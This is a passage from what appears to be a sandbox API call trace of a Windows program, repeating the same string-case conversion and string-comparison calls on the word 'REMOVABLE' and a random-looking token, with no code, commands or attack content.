cchCount2=0) returned 2 [0172.263] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.263] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.263] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.263] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.263] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.263] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.272] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.272] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.272] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.272] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.272] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.273] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.273] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.273] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.273] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.273] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.273] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.273] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.273] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.273] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.273] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.273] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.273] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.274] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.274] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.274] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.274] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.274] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.274] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.274] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.274] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.274] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.274] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.274] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.274] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.275] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.275] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.275] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.275] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.275] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.275] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.275] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.276] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.276] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.276] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.276] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.276] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.276] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.276] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.277] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.277] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.277] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.278] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.278] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.278] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.278] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.278] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.278] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.278] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.278] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.279] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.279] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.279] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.279] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.279] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.279] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.279] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.280] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.280] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.280] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.280] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.280] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.280] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.280] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.281] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.281] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.281] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.281] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.281] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.281] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.281] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.282] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.282] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.282] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.282] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.282] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.282] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.282] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.282] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.283] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.283] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.283] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.283] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.283] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.283] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.283] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.283] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.283] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.283] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.284] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.284] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.284] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.284] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.284] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.284] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.284] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.284] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.284] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.284] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.284] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.285] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.285] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.285] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.285] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.285] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.285] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.285] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.285] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.285] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.286] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.286] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.286] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.286] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.286] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.286] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.286] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.287] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.287] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.287] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.287] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.287] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.297] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.297] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.298] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.298] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.298] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.298] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.298] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.298] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.298] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.298] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.298] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.298] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.299] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.299] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.299] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.299] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.299] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.299] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.299] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.299] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.299] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.299] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.299] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.300] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.300] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.300] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.300] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.300] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.300] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.300] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.300] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.301] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.301] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.301] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.301] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.301] CharUpperBuffW (in: 